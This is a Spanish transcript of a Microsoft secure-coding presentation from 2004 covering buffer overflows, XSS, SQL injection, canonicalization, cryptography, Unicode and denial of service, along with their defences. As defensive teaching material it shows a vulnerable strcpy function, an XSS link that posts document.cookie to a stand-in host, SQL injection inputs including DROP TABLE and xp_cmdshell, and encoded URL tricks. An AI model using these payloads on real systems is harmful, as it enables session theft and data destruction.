Escritura de código seguro: defensa contra las amenazas

Slides:



Advertisements
Presentaciones similares
Internet y tecnologías web
Advertisements

Fundamentos de seguridad
Recomendaciones para la escritura de código seguro
Algunos tips en Seguridad ASP.NET 2.0
Entender la Política de grupo Parte 2. Lo que vamos a cubrir Administración avanzada de la política de grupo Implementar software con la Política de grupo.
Fundamentos de la seguridad de aplicaciones
Desarrollo de aplicaciones seguras con.NET David Carmona División de Desarrolladores y Plataforma Microsoft Ibérica.
integridad referencial
Supervisión del rendimiento de SQL Server
Defensa contra ataques web comunes
Diseñar un sistema que permita al usuario desde un teléfono móvil acceder a su computador personal (o servidor) a través de WAP para administrar algunos.
DIRECT ACCESS.
Especialista en Business Intelligence Integration Services SSIS (Sesión 7) Microsoft SQL Server 2008 R2 (2013) Suscribase a o escríbanos.
SQL Server Integration Services SSIS
Problemas asociados a DHCP. Seguridad.
Curso de Actualización Conceptos Básicos de Seguridad
INFOPATH.
Curso de PHP Tema 6: Seguridad.
Implementación de seguridad en aplicaciones y datos Nombre del presentador PuestoCompañía.
MGB 2003 Nombre Puesto Compañía
Implementación de seguridad en aplicaciones y datos
Julio Pacheco SQL SERVER 2005 XML APRENDIENDO CON EJEMPLOS.
Especialista en Business Intelligence Integration Services SSIS (Sesión 7) Microsoft SQL Server 2008 R2 (2013) Suscribase a o escríbanos.
BUFFER OVERFLOW Y EXPLOITS
TECNOLOGÍA IDC Internet Database Connector Trinitario Gómez López.
ADMINISTRACION DE REDES SECUNECIA DE COMANDOS EN SITIOS CRUZADOS(XSS) DIEGO ALEXANDER MADRID DUQUE GABRIEL ANDRES AGUIRRE JARAMILLO INSTITUTO TECNOLOGICO.
Auditoría de Sistemas y Software
Planificación de los grupos de usuarios El primer paso del proceso de planificación, decidir la estrategia global de seguridad, es como establecer la.
The OWASP Foundation OWASP AppSec Aguascalientes 2010 Guía de Desarrollo Seguro Francisco Aldrete Miembro de OWASP capítulo Aguascalientes.
Diseño de una base de datos Zavaleta Nolasco Karina
InfoPath Ventajas y Uso.
ASP.NET es una nueva y potente tecnología para escribir páginas web dinámica. Es una importante evolución respecto a las antiguas páginas ASP de Microsoft.
Diego Pastor Ralde. Client-side Vulnerabilities  Web Browsers  Office Software  Clients  Media Players.
Especialista en Business Intelligence Integration Services SSIS Tareas de Flujo de Control (Parte I) Microsoft SQL Server 2008 R2 Suscribase a
ATAQUES POR INYECCION DE CODIGO SQL
Dos años para un golpe El Ordenador del director general Revisando el servidor web secundario, encontró el nombre de usuario y número de IP del director.
APLICACIÓN EN VISUAL BASIC
UD 1: “Adopción de pautas de seguridad informática” Análisis de las principales vulnerabilidades de un sistema informático. Luis Alfonso Sánchez Brazales.
NOMBRES:OLIVARES ALFARO JOSE L. BONETTI ARON GRUPO:308.
Seguridad DNS. Javier Rodríguez Granados.
S EGURIDAD DNS - V ULNERABILIDADES, AMENAZAS Y ATAQUES. - M ECANISMOS DE SEGURIDAD. Luis Villalta Márquez.
Introducción a ataques de tipo inyección: Inyección SQL
Cuentas de usuarios y grupos en windows 2008 server
Introducción al Lenguaje. ¿ Qué es PHP ? O Hypertext Pre-processoes (PHP) es un lenguaje de "código abierto" interpretado, de alto nivel, embebido en.
COLEGIO DE BACHILLERES PLANTEL 13 XOCHIMILCO-TEPEPAN MATERIA:TIC EQUIPO:21 PRESENTACION: BASE DE DATOS ALUMNAS: Adán Millán Sánchez.
Microsoft Outlook. Es un programa de organización ofimática y cliente de correo electrónico de Microsoft, y forma parte de la suite Microsoft Office.ofimáticacorreo.
S EGURIDAD Y A LTA D ISPONIBILIDAD Nombre: Adrián de la Torre López 24/09/ Adrián de la Torre López.
PUNTO 3.
La administración de dominios
FACULTAD: CIENCIAS ECONÓMICAS Y EMPRESARIALES ASIGNATURA: GESTIÓN DE CONTENIDO ELECTRÓNICO TÍTULO: TINFOPATH - VENTAJAS Y USO. AUTORA: MARIA DANIELA TOMALÁ.
Seguridad del protocolo HTTP:
File Transfer Protocol.
Unidad 7 Escritorio de Windows.
Gabriel Montañés León.  El sistema de nombres de dominio (DNS, Domain Name System) se diseñó originalmente como un protocolo. Antes de considerar qué.
Unidad 2: Tareas básicas de InfoPath 2010
Códigos maliciosos.. LA MAYORÍA DE LAS AMENAZAS CONTRA LAS CUALES LO PROTEGEN LAS SOLUCIONES DE SEGURIDAD ESET PUEDEN SER CLASIFICADAS COMO VIRUS, CÓDIGOS.
Análisis de las principales vulnerabilidades de un sistema informático. Gabriel Montañés León.
Naime Cecilia del Toro Alvarez
UD 2: “Instalación y administración de servicios de configuración automática de red” Problemas asociados a DHCP. Seguridad Luis Alfonso Sánchez Brazales.
Formación a distancia : Actualmente existen en internet infinidad de recursos que permiten obtener formación.  Universidades Oberta de Cataluña: Que.
VIRUS Características principales
Una parte esencial del trabajo informático es mantener protegida, resguardada y respaldada la información con la cual se trabaja, pues de todo ello depende.
Es una aplicación usada para desarrollar formularios de entrada de datos basados en XML. Su primer Microsoft Office 2003, después en julio del 2004 se.
APLICACIONES EN LINEA.
A NÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO Luis Villalta Márquez.
Análisis de las principales vulnerabilidades de un sistema informático. Javier Rodríguez Granados.
Bases de Datos y Sistemas de Gestión de Bases Relacionales.
Módulo 2: Administrar cuentas de usuario y de equipo.
DLM Transact SQL Sesión I Introducción al SQL Server Uso de las herramientas de consultas del Transact SQL.
UNIVERSIDAD LATINA SEGURIDAD INFORMATICA II E.I. L.E. Prof. Ramón Castro Liceaga XI. SEGURIDAD EN SERVIDORES DE NOMBRE (DNS).
Transcripción de la presentación:

Escritura de código seguro: defensa contra las amenazas MGB 2003 Escritura de código seguro: defensa contra las amenazas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Contenido La necesidad de disponer de código seguro MGB 2003 Contenido La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Requisitos previos para la sesión MGB 2003 Requisitos previos para la sesión Experiencia en desarrollo con Microsoft® Visual Basic®, Microsoft Visual C++® o C# Nivel 200 © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

La necesidad de disponer de código seguro MGB 2003 La necesidad de disponer de código seguro “Hasta 1500 sitios Web pudieron haberse visto afectados por un ataque reciente” “Puerto de EE.UU. atacado por un pirata del Reino Unido” “La piratería cuesta más de 4300 puestos de trabajo y 850 millones de dólares en daños” “Varias corporaciones dicen que perdieron 10 millones de dólares en un único ataque” “El virus Sobig causó unos daños económicos de 30000 millones de dólares en todo el mundo” “Los ataques costarán a la economía mundial 1,6 trillones de dólares estadounidenses este año” © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Escenarios de amenazas MGB 2003 Escenarios de amenazas Empleados que se conectan a la red de la empresa Por cable, inalámbrica, acceso telefónico, VPN PCs de la empresa, sistemas propiedad de los usuarios Empleados que se conectan a otras redes Zonas activas de Internet, redes asociadas, banda ancha Asociados que se conectan a la red de la empresa Autenticación local frente a federada Invitados anónimos Nuevos escenarios y nuevas amenazas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

No debe sorprenderle que se produzcan ataques MGB 2003 Posibles atacantes Ladrones Timadores Vándalos Criminales Hackers No debe sorprenderle que se produzcan ataques © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Tipos comunes de ataque MGB 2003 Tipos comunes de ataque Ataques organizativos Hackers Ataques automatizados Datos restringidos DoS Infracciones accidentales de la seguridad Errores de conexión Denegación de servicio (DoS) Virus, caballos de Troya y gusanos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Qué es un desbordamiento de búfer MGB 2003 Qué es un desbordamiento de búfer Ocurre cuando los datos superan el tamaño esperado y sobrescriben otros valores Se produce principalmente en código C/C++ no administrado Incluye cuatro tipos: Desbordamientos de búfer basados en pilas Desbordamiento de memoria dinámica Sobrescrituras de punteros de función y de V-table Sobrescrituras de manejadores de excepciones Lo pueden explotar los gusanos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Posibles resultados de los desbordamientos de búfer MGB 2003 Posibles resultados de los desbordamientos de búfer Posible resultado Objetivo del pirata Infracción de acceso Realizar ataques de denegación de servicio contra los servidores Inestabilidad Interrumpir el funcionamiento normal del software Inyección de código Conseguir privilegios para su propio código Explotar datos empresariales fundamentales Realizar acciones destructivas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Ejemplo de desbordamiento de búfer basado en pila MGB 2003 Ejemplo de desbordamiento de búfer basado en pila Parte superior de la pila void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; char[4] int Dirección de retorno © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Desbordamiento de memoria dinámica MGB 2003 Desbordamiento de memoria dinámica Sobrescriben datos almacenados en la memoria dinámica (HEAP) Son más difíciles de explotar que un desbordamiento de búfer Datos Puntero strcpy xxxxxxx xxxxxxx © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra los desbordamientos de búfer (1 de 2) MGB 2003 Defensa contra los desbordamientos de búfer (1 de 2) Tenga mucho cuidado cuando utilice: strcpy strncpy CopyMemory MultiByteToWideChar Use la opción de compilación /GS de Visual C++ para detectar desbordamientos de búfer Utilice strsafe.h para lograr un tratamiento más seguro de los búferes © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra los desbordamientos de búfer (2 de 2) MGB 2003 Defensa contra los desbordamientos de búfer (2 de 2) Compruebe todos los índices de matrices Utilice clases de empaquetadores existentes para lograr un tratamiento seguro de las matrices Compruebe las longitudes de rutas de acceso a archivos mediante _MAX_PATH Utilice métodos reconocidos de procesamiento de rutas de acceso a archivos, como splitpath Utilice código administrado, pero preste atención a PInvoke y COM Interop © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Errores aritméticos Se producen cuando se superan las limitaciones de una variable Generan errores graves en tiempo de ejecución Suelen pasarse por alto y subestimarse Incluyen: Desbordamiento: valor demasiado grande para un tipo de datos Subdesbordamiento: valor demasiado pequeño para un tipo de datos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra errores aritméticos MGB 2003 Defensa contra errores aritméticos Sea consciente de las limitaciones de los tipos de datos elegidos Escriba código de defensa que compruebe si hay desbordamientos Considere la posibilidad de escribir funciones seguras reutilizables Considere la posibilidad de utilizar una clase plantilla segura (si está programando en C++) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Demostración 1 Problemas de memoria y errores de tipo de datos Investigación de los desbordamientos de búfer Uso del modificador de compilación /GS Uso de STRSAFE.H Realización de cálculos aritméticos seguros © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Qué son las secuencias de comandos entre sitios MGB 2003 Qué son las secuencias de comandos entre sitios Una técnica que permite a los hackers: Ejecutar una secuencia de comandos malintencionada en el explorador Web de un cliente Insertar etiquetas <script>, <object>, <applet>, <form> y <embed> Robar información de la sesión Web y cookies de autenticación Tener acceso al equipo cliente Cualquier página Web que produzca código HTML que contenga datos proporcionados por el usuario es vulnerable © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Dos explotaciones frecuentes de las secuencias de comandos entre sitios Ataques a plataformas de correo electrónico y paneles de discusión basados en Web Uso de etiquetas <form> de HTML para redirigir información privada © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Ataques basados en Form (1 de 2) MGB 2003 Ataques basados en Form (1 de 2) Response.Write(“Bienvenido” & Request.QueryString(“UserName”)) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Ataques basados en Form (2 de 2) MGB 2003 Ataques basados en Form (2 de 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a> © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Demostración 2 Secuencias de comandos entre sitios Investigación de secuencias de comandos entre sitios © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra secuencias de comandos entre sitios MGB 2003 Defensa contra secuencias de comandos entre sitios No: Confíe en los datos proporcionados por los usuarios Repita datos especificados por los usuarios basados en Web a menos que los haya validado Almacene información secreta en cookies Sí: Utilice la opción de cookie HttpOnly Utilice el atributo de seguridad <frame> Aproveche las características de ASP.NET © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Qué es la inyección de SQL MGB 2003 Qué es la inyección de SQL La inyección de SQL es: El proceso de agregar instrucciones SQL con los datos especificados por el usuario Los hackers la utilizan para: Examinar bases de datos Eludir la autorización Ejecutar varias instrucciones SQL Llamar a procedimientos almacenados integrados © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Ejemplos de inyección de SQL MGB 2003 Ejemplos de inyección de SQL sqlString = "SELECT HasShipped FROM" + " OrderDetail WHERE OrderID ='" + ID + "'"; Si la variable ID se lee directamente de un cuadro de texto de un formulario Web o de Windows, el usuario podría introducir cualquiera de los siguientes valores: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') -- © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Demostración 3 Inyección de SQL Investigación de problemas por inyección de SQL Uso de consultas parametrizadas para defenderse contra la inyección de SQL © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra inyecciones de SQL MGB 2003 Defensa contra inyecciones de SQL Limpie todos los datos especificados por los usuarios Considere que todos los datos de entrada son peligrosos mientras no se demuestre lo contrario Busque los datos válidos y rechace todos los demás Considere la posibilidad de utilizar expresiones regulares para quitar los caracteres no deseados Ejecute el código con el menor privilegio posible Nunca ejecute código como “sa” Restrinja el acceso a los procedimientos almacenados integrados Utilice procedimientos almacenados o consultas de SQL parametrizadas para tener acceso a los datos No muestre los errores de ODBC © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Problemas de canonización MGB 2003 Problemas de canonización Suele haber más de una forma de denominar algo Existen representaciones alternativas para: Nombres de archivo Direcciones URL Dispositivos (como impresoras) Los hackers pueden explotar código que toma decisiones basándose en nombres de archivo o direcciones URL © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Problemas de canonización Ejemplo 1: nombres de archivo MGB 2003 Problemas de canonización Ejemplo 1: nombres de archivo MiArchivoLargo.txt MiArchivoLargo.txt. MiArch~1.txt MiArchivoLargo.txt::$DATA © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Problemas de canonización Ejemplo 2: representación de caracteres MGB 2003 Problemas de canonización Ejemplo 2: representación de caracteres Hay muchas formas de representar caracteres en Internet http://www.microsoft.com/technet/security Es igual que http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity http://www.microsoft.com%c0%aftechnet%c0%afsecurity http://www%25%32%65microsoft.com/technet/security http://172.43.122.12 = http://2888530444 © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Demostración 4 Problemas de canonización Investigación de las decisiones de seguridad basándose en nombres de archivo © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra problemas de canonización MGB 2003 Defensa contra problemas de canonización Utilice la seguridad del sistema de archivos para restringir el acceso a datos privados No tome nunca una decisión basándose en un nombre Deshabilite la opción de rutas de acceso primarias de IIS © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Debilidades en la criptografía MGB 2003 Debilidades en la criptografía Uso inapropiado de algoritmos Creación de los suyos propios Uso de algoritmos débiles Aplicación incorrecta No mantener las claves seguras Almacenamiento inseguro Uso prolongado El factor humano Clave Texto sin cifrar Texto cifrado Algoritmo Necesito tres elementos de los anteriores para descifrar sus datos © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra debilidades en la criptografía MGB 2003 Defensa contra debilidades en la criptografía Recicle las claves periódicamente Utilice ACL para restringir el acceso a las claves Almacene las claves en un dispositivo externo Utilice SACL para supervisar las actividades Utilice claves largas para ofrecer mayor seguridad Utilice DPAPI para simplificar la administración de claves, si es posible No implemente sus propias rutinas criptográficas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Problemas de Unicode Errores frecuentes Resultados MGB 2003 Problemas de Unicode Errores frecuentes Tratamiento de un carácter Unicode como un único byte Cálculo incorrecto del tamaño de búfer necesario Uso incorrecto de MultiByteToWideChar Validación de los datos antes de la conversión, pero no después Resultados Desbordamientos de búfer Algunas secuencias de caracteres posiblemente peligrosas pueden entrar en sus rutinas de validación © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra problemas de Unicode MGB 2003 Defensa contra problemas de Unicode Calcular tamaños de búfer mediante sizeof (WCHAR) Conocer los estándares GB18030  (4 bytes por carácter) Convertir de Unicode a ASCII y después validar Utilizar IsNLSDefinedString durante la validación Utilizar MultiByteToWideChar correctamente para proporcionar un búfer suficiente © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 Demostración 5 Problemas de Unicode Investigación de problemas de Unicode © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Agenda La necesidad de disponer de código seguro MGB 2003 Agenda La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Ataques de denegación de servicio MGB 2003 Ataques de denegación de servicio Insuficiencia de CPU Insuficiencia de memoria Insuficiencia de recursos Insuficiencia de red © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Defensa contra los ataques de denegación de servicio MGB 2003 Defensa contra los ataques de denegación de servicio Considere la seguridad como una característica de diseño No confíe en los datos proporcionados por los usuarios Aplique inteligencia en caso de error Pruebe la seguridad © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Resumen de la sesión La necesidad de disponer de código seguro MGB 2003 Resumen de la sesión La necesidad de disponer de código seguro Defensa contra problemas de memoria Defensa contra errores aritméticos Defensa contra secuencias de comandos entre sitios Defensa contra inyecciones de SQL Defensa contra problemas de canonización Defensa contra debilidades en la criptografía Defensa contra problemas de Unicode Defensa contra la denegación de servicio © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Pasos siguientes Mantenerse informado sobre la seguridad MGB 2003 Pasos siguientes Mantenerse informado sobre la seguridad Suscribirse a boletines de seguridad: http://www.microsoft.com/security/security_bulletins/alerts2.asp (este sitio está en inglés) Obtener las directrices de seguridad de Microsoft más recientes: http://www.microsoft.com/security/guidance/ (este sitio está en inglés) Obtener información de seguridad adicional Buscar seminarios de aprendizaje en línea y presenciales: http://www.microsoft.com/seminar/events/security.mspx (este sitio está en inglés) Buscar un CTEC local que ofrezca cursos prácticos: http://www.microsoft.com/learning/ (este sitio está en inglés) © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Para obtener más información MGB 2003 Para obtener más información Sitio de seguridad de Microsoft (todos los usuarios) http://www.microsoft.com/security (este sitio está en inglés) Sitio de seguridad de MSDN (desarrolladores) http://msdn.microsoft.com/security (este sitio está en inglés) Sitio de seguridad de TechNet (profesionales de IT) http://www.microsoft.com/technet/security © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Preguntas y respuestas MGB 2003 Preguntas y respuestas © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

MGB 2003 © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.